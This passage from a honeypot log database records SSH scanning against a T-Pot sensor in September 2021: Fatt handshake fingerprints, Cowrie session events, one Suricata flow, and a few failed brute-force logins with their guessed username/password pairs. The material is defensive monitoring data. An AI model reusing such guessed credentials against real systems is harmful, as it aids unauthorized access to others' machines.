"umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 40312, "dest_port": 22, "timestamp": "2021-09-20T11:07:06.038372", "@timestamp": "2021-09-20T11:07:06.038Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	known attacker	\N
22380	192.168.20.116	109.199.241.180	Fatt	2021-09-20 14:07:06.735329+03	2021-09-20 14:15:04.865613+03	{"_id": "7gbjAnwBvYTbRNuEXAb9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "tags": ["_geoip_lookup_failure"], "type": "Fatt", "geoip": {}, "src_ip": "192.168.20.116", "dest_ip": "115.72.130.93", "@version": "1", "fatt_ssh": {"skex": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1", "slcts": "[Empty]", "slstc": "[Empty]", "sshka": "ssh-rsa,ssh-dss", "scacts": "zlib@openssh.com,zlib,none", "scastc": "zlib@openssh.com,zlib,none", "seacts": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "seastc": "aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc", "server": "SSH-2.0-OpenSSH_7.9p1", "smacts": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "smastc": "hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5", "hasshServer": "a4820aa8e920a4c1b6ea9367bde49ef2", "hasshVersion": "1.0", "hasshServerAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,ecdh-sha2-nistp256,ecdh-sha2-nistp384,ecdh-sha2-nistp521,diffie-hellman-group14-sha1;aes128-ctr,aes192-ctr,aes256-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc;hmac-sha2-512,hmac-sha2-384,hmac-sha2-56,hmac-sha1,hmac-md5;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 22, "dest_port": 35150, "timestamp": "2021-09-20T11:07:06.735329", "@timestamp": "2021-09-20T11:07:06.735Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22381	116.110.220.49	109.199.241.180	Fatt	2021-09-20 14:07:05.923237+03	2021-09-20 14:15:04.866657+03	{"_id": "_QbjAnwBvYTbRNuEXAb9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 35692, "dest_port": 22, "timestamp": "2021-09-20T11:07:05.923237", "@timestamp": "2021-09-20T11:07:05.923Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22382	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:06.88031+03	2021-09-20 14:15:04.867612+03	{"_id": "8QbjAnwBvYTbRNuEXAb9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "58adb1fd9c37", "@version": "1", "duration": 2.7564868927001953, "timestamp": "2021-09-20T11:07:06.880310Z", "@timestamp": "2021-09-20T11:07:06.880Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22383	116.105.211.46	109.199.241.180	Cowrie	2021-09-20 14:07:06.829959+03	2021-09-20 14:15:04.869614+03	{"_id": "AQbjAnwBvYTbRNuEXAf9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.105.211.46", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "116.105.211.46", "eventid": "cowrie.login.failed", "message": "login attempt [mailman/mailman] failed", "session": "a3895fee11a0", "@version": "1", "password": "mailman", "username": "mailman", "timestamp": "2021-09-20T11:07:06.829959Z", "@timestamp": "2021-09-20T11:07:06.829Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22384	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:06.297989+03	2021-09-20 14:15:04.870612+03	{"_id": "CwbjAnwBvYTbRNuEXAf-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [test/test123] failed", "session": "e7bc5122699b", "@version": "1", "password": "test123", "username": "test", "timestamp": "2021-09-20T11:07:06.297989Z", "@timestamp": "2021-09-20T11:07:06.297Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22385	27.69.246.93	109.199.241.180	Fatt	2021-09-20 14:07:06.014489+03	2021-09-20 14:15:04.871613+03	{"_id": "4gbjAnwBvYTbRNuEXAb9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/fatt/log/fatt.log", "type": "Fatt", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "src_ip": "27.69.246.93", "dest_ip": "192.168.20.116", "@version": "1", "fatt_ssh": {"ckex": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c", "clcts": "[Empty]", "clstc": "[Empty]", "cshka": "ssh-ed25519-cert-v01@openssh.com,ssh-ed448-cert-v01@openssh.com,ecdsa-sha2-nistp521-cert-v01@openssh.com,ecdsa-sha2-nistp384-cert-v01@openssh.com,ecdsa-sha2-nistp256-cert-v01@openssh.com,ecdsa-sha2-1.3.132.0.10-cert-v01@openssh.com,ssh-rsa-cert-v01@openssh.com,ssh-dss-cert-v01@openssh.com,ssh-ed25519,ssh-ed448,ecdsa-sha2-nistp521,ecdsa-sha2-nistp384,ecdsa-sha2-nistp256,ecdsa-sha2-1.3.132.0.10,rsa-sha2-256,rsa-sha2-512,ssh-rsa,ssh-dss", "hassh": "fda360b1b4f4d3455cb75c6e7edb1d11", "ccacts": "zlib@openssh.com,zlib,none", "ccastc": "zlib@openssh.com,zlib,none", "ceacts": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "ceastc": "chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour", "client": "SSH-2.0-AsyncSSH_2.1.0", "cmacts": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "cmastc": "umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96", "hasshVersion": "1.0", "hasshAlgorithms": "curve25519-sha256,curve25519-sha256@libssh.org,curve448-sha512,ecdh-sha2-nistp521,ecdh-sha2-nistp384,ecdh-sha2-nistp256,ecdh-sha2-1.3.132.0.10,diffie-hellman-group-exchange-sha256,diffie-hellman-group-exchange-sha1,diffie-hellman-group14-sha256,diffie-hellman-group15-sha512,diffie-hellman-group16-sha512,diffie-hellman-group17-sha512,diffie-hellman-group18-sha512,diffie-hellman-group14-sha1,diffie-hellman-group1-sha1,rsa2048-sha256,rsa1024-sha1,ext-info-c;chacha20-poly1305@openssh.com,aes256-gcm@openssh.com,aes128-gcm@openssh.com,aes256-ctr,aes192-ctr,aes128-ctr,aes256-cbc,aes192-cbc,aes128-cbc,3des-cbc,blowfish-cbc,cast128-cbc,arcfour256,arcfour128,arcfour;umac-64-etm@openssh.com,umac-128-etm@openssh.com,hmac-sha2-256-etm@openssh.com,hmac-sha2-512-etm@openssh.com,hmac-sha1-etm@openssh.com,hmac-md5-etm@openssh.com,hmac-sha2-256-96-etm@openssh.com,hmac-sha2-512-96-etm@openssh.com,hmac-sha1-96-etm@openssh.com,hmac-md5-96-etm@openssh.com,umac-64@openssh.com,umac-128@openssh.com,hmac-sha2-256,hmac-sha2-512,hmac-sha1,hmac-md5,hmac-sha2-256-96,hmac-sha2-512-96,hmac-sha1-96,hmac-md5-96;zlib@openssh.com,zlib,none"}, "protocol": "ssh", "src_port": 53032, "dest_port": 22, "timestamp": "2021-09-20T11:07:06.014489", "@timestamp": "2021-09-20T11:07:06.014Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	\N	\N	\N	\N
22386	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:06.496227+03	2021-09-20 14:15:04.875613+03	{"_id": "5AbjAnwBvYTbRNuEXAb9", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 2 seconds", "session": "76c7f33eac55", "@version": "1", "duration": 2.4682366847991943, "timestamp": "2021-09-20T11:07:06.496227Z", "@timestamp": "2021-09-20T11:07:06.496Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22387	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:07:07.162373+03	2021-09-20 14:15:04.890613+03	{"_id": "EAbjAnwBvYTbRNuEXAf-", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.login.failed", "message": "login attempt [admin/adein] failed", "session": "536182ae278d", "@version": "1", "password": "adein", "username": "admin", "timestamp": "2021-09-20T11:07:07.162373Z", "@timestamp": "2021-09-20T11:07:07.162Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.login.failed	\N	\N	\N
22388	116.110.220.49	109.199.241.180	Suricata	2021-09-20 14:07:06.98625+03	2021-09-20 14:15:04.906613+03	{"_id": "EwbjAnwBvYTbRNuEXwd7", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"ssh": {"client": {"proto_version": "2.0", "software_version": "AsyncSSH_2.1.0"}, "server": {"proto_version": "2.0", "software_version": "OpenSSH_7.9p1"}}, "host": "1ebe93606296", "path": "/data/suricata/log/eve.json", "type": "Suricata", "geoip": {"ip": "116.110.220.49", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0, "location": {"lat": 16.0, "lon": 106.0}, "timezone": "Asia/Ho_Chi_Minh", "longitude": 106.0, "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "proto": "TCP", "src_ip": "116.110.220.49", "dest_ip": "192.168.20.116", "flow_id": 125468533231063, "@version": "1", "in_iface": "enp5s0", "metadata": {"flowbits": ["is_ssh_server_banner", "is_ssh_client_banner"]}, "src_port": 47844, "dest_port": 22, "timestamp": "2021-09-20T11:07:06.986250Z", "@timestamp": "2021-09-20T11:07:06.986Z", "event_type": "ssh", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	\N	ssh	\N	\N
22389	116.98.160.162	109.199.241.180	Cowrie	2021-09-20 14:06:57.780138+03	2021-09-20 14:15:04.920622+03	{"_id": "yQbjAnwBvYTbRNuEOQTO", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "116.98.160.162", "asn": 24086, "as_org": "Viettel Corporation", "latitude": 16.0685, "location": {"lat": 16.0685, "lon": 108.2215}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Da Nang", "longitude": 108.2215, "region_code": "DN", "region_name": "Da Nang", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "ip_rep": "known attacker", "sensor": "b63cdd9641b8", "src_ip": "116.98.160.162", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 116.98.160.162:35088 (192.168.176.2:22) [session: 3044d199986d]", "session": "3044d199986d", "@version": "1", "protocol": "ssh", "src_port": 35088, "dest_port": 22, "timestamp": "2021-09-20T11:06:57.780138Z", "@timestamp": "2021-09-20T11:06:57.780Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	known attacker	\N
22390	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:57.486521+03	2021-09-20 14:15:04.935622+03	{"_id": "twbjAnwBvYTbRNuEOQTM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.session.closed", "message": "Connection lost after 3 seconds", "session": "527431374750", "@version": "1", "duration": 3.541567802429199, "timestamp": "2021-09-20T11:06:57.486521Z", "@timestamp": "2021-09-20T11:06:57.486Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.session.closed	\N	\N	\N
22391	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:57.869271+03	2021-09-20 14:15:04.939612+03	{"_id": "uwbjAnwBvYTbRNuEOQTM", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "eventid": "cowrie.client.version", "message": "Remote SSH version: b'SSH-2.0-AsyncSSH_2.1.0'", "session": "9b6c752ab340", "version": "b'SSH-2.0-AsyncSSH_2.1.0'", "@version": "1", "timestamp": "2021-09-20T11:06:57.869271Z", "@timestamp": "2021-09-20T11:06:57.869Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	\N	cowrie.client.version	\N	\N	\N
22392	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:57.833621+03	2021-09-20 14:15:04.955613+03	{"_id": "2gbjAnwBvYTbRNuEOQTU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:39164 (192.168.176.2:22) [session: f6baa6edb2b0]", "session": "f6baa6edb2b0", "@version": "1", "protocol": "ssh", "src_port": 39164, "dest_port": 22, "timestamp": "2021-09-20T11:06:57.833621Z", "@timestamp": "2021-09-20T11:06:57.833Z", "t-pot_ip_ext": "109.199.241.180", "t-pot_ip_int": "192.168.20.116", "t-pot_hostname": "voluntarycharles"}}	1	ssh	cowrie.session.connect	\N	\N	\N
22393	27.69.246.93	109.199.241.180	Cowrie	2021-09-20 14:06:57.861004+03	2021-09-20 14:15:04.991614+03	{"_id": "2wbjAnwBvYTbRNuEOQTU", "_type": "_doc", "_index": "logstash-2021.09.20", "_score": 1.0, "_source": {"host": "1ebe93606296", "path": "/data/cowrie/log/cowrie.json", "type": "Cowrie", "geoip": {"ip": "27.69.246.93", "asn": 7552, "as_org": "Viettel Corporation", "latitude": 12.6667, "location": {"lat": 12.6667, "lon": 108.05}, "timezone": "Asia/Ho_Chi_Minh", "city_name": "Buon Ma Thuot", "longitude": 108.05, "region_code": "33", "region_name": "Đắk Lắk", "country_name": "Vietnam", "country_code2": "VN", "country_code3": "VN", "continent_code": "AS"}, "sensor": "b63cdd9641b8", "src_ip": "27.69.246.93", "dest_ip": "192.168.176.2", "eventid": "cowrie.session.connect", "message": "New connection: 27.69.246.93:49128 (192.168.176.2:22) [session: 9b6c752ab340]", "session": "9b6c752ab340", "@version": "1", "protocol": "ssh", "src_port": 49128, "dest_port": 22, "timestamp": "2021-09-20T11:06:57.861004Z", "@timestamp": "2021-09-20T11:06:57.861Z", "t-pot_ip_ext": "109.199.241.180", 